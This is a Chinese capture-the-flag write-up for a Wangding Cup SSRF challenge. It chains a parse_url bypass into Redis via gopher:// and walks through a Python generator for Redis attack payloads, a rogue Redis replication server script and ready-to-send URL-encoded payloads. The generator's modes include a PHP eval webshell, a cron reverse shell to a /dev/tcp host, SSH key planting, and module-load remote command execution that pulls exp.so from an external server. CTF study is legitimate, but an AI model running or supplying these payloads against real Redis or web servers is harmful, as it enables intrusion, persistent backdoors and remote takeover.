网鼎杯玄武组题目,ssrf代码
<?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } if(isset($_GET['url'])){ $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(__FILE__); } // Please visit hint.php locally. ?>
根据提示需要读取hint.php的内容
http://39.97.160.127/?url=http://baidu.com@0.0.0.0:80@lgr/hint.php 可以读取到文件内容
提示了redis密码是test,应该是要用ssrf打redis,我们直接打rce
先使用dict探测6379端口,提示noauth,需要密码
http://39.97.160.127/?url=dict://baidu.com@0.0.0.0:6379@lgr/AUTH%20test
出现了两个ok,说明密码正确
使用脚本生成ssrf redis rce 的payload
#!/usr/local/bin python #coding=utf8 try: from urllib import quote except: from urllib.parse import quote def generate_info(passwd): cmd=[ "info", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) return cmd def generate_shell(filename,path,passwd,payload): cmd=["flushall", "set 1 {}".format(payload), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) return cmd def generate_reverse(filename,path,passwd,payload): # centos cmd=["flushall", "set 1 {}".format(payload), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) return cmd def generate_sshkey(filename,path,passwd,payload): cmd=["flushall", "set 1 {}".format(payload), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) return cmd def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"): exp_filename="exp.so" cmd=[ "SLAVEOF {} {}".format(lhost,lport), "CONFIG SET dir /tmp/", "config set dbfilename {}".format(exp_filename), "MODULE LOAD /tmp/{}".format(exp_filename), "system.exec {}".format(command.replace(" ","${IFS}")), # "SLAVEOF NO ONE", # "CONFIG SET dbfilename dump.rdb", # "system.exec rm${IFS}/tmp/{}".format(exp_filename), # "MODULE UNLOAD system", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) return cmd def rce_cleanup(): exp_filename="exp.so" cmd=[ "SLAVEOF NO ONE", "CONFIG SET dbfilename dump.rdb", "system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"), "MODULE UNLOAD system", "quit" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) return cmd def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x)))+CRLF+x cmd+=CRLF return cmd def generate_payload(passwd,mode): payload="test" if mode ==0: filename="shell.php" path="/var/www/html" shell="\n\n<?=eval($_GET[0]);?>\n\n" cmd=generate_shell(filename,path,passwd,shell) elif mode==1: filename="root" path="/var/spool/cron/" shell="\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n" cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^")) elif mode==2: filename="authorized_keys" path="/root/.ssh/" pubkey="\n\nssh-rsa " cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^")) elif mode==3: lhost="122.51.254.197" lport="5555" command="whoami" cmd=generate_rce(lhost,lport,passwd,command) elif mode==31: cmd=rce_cleanup() elif mode==4: cmd=generate_info(passwd) protocol="gopher://" ip="127.0.0.1" port="6379" payload=protocol+ip+":"+port+"/_" for x in cmd: payload += quote(redis_format(x).replace("^"," ")) return payload if __name__=="__main__": # 0 for webshell ; 1 for re shell ; 2 for ssh key ; # 3 for redis rce ; 31 for rce clean up # 4 for info # suggest cleaning up when mode 3 used mode=3 # input auth passwd or leave blank for no pw passwd = 'test' p=generate_payload(passwd,mode) print(p)
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
配置好redis rogue 服务器的ip和端口 ,还有执行的命令
在自己的服务器上启动redis rogue server,代码如下
import socket import time CRLF="\r\n" payload=open("exp.so","rb").read() exp_filename="exp.so" def redis_format(arr): global CRLF global payload redis_arr=arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len(x))+CRLF+x cmd+=CRLF return cmd def redis_connect(rhost,rport): sock=socket.socket() sock.connect((rhost,rport)) return sock def send(sock,cmd): sock.send(redis_format(cmd)) print(sock.recv(1024).decode("utf-8")) def interact_shell(sock): flag=True try: while flag: shell=raw_input("\033[1;32;40m[*]\033[0m ") shell=shell.replace(" ","${IFS}") if shell=="exit" or shell=="quit": flag=False else: send(sock,"system.exec {}".format(shell)) except KeyboardInterrupt: return def RogueServer(lport): global CRLF global payload flag=True result="" sock=socket.socket() sock.bind(("0.0.0.0",lport)) sock.listen(10) clientSock, address = sock.accept() while flag: data = clientSock.recv(1024) if "PING" in data: result="+PONG"+CRLF clientSock.send(result) flag=True elif "REPLCONF" in data: result="+OK"+CRLF clientSock.send(result) flag=True elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str(len(payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) flag=False if __name__=="__main__": lhost="122.51.254.197" lport=5555 RogueServer(lport)
还需要一个exp.so文件,放在脚本同目录下,exp.so下载地址
然后启动脚本,监听请求
对刚才生成的payload host部分进行替换,
gopher://127.0.0.1:6379/ 替换为
gopher://baidu.com@0.0.0.0:6379@lgr/
得到
gopher://baidu.com@0.0.0.0:6379@lgr/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
然后进行对payload进行urlencode,得到
gopher%3a%2f%2fbaidu.com%400.0.0.0%3a6379%40lgr%2f_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Atest%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A122.51.254.197%250D%250A%25244%250D%250A5555%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2ftmp%2f%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2ftmp%2fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25242%250D%250Aid%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
放到url参数里,就能执行命令了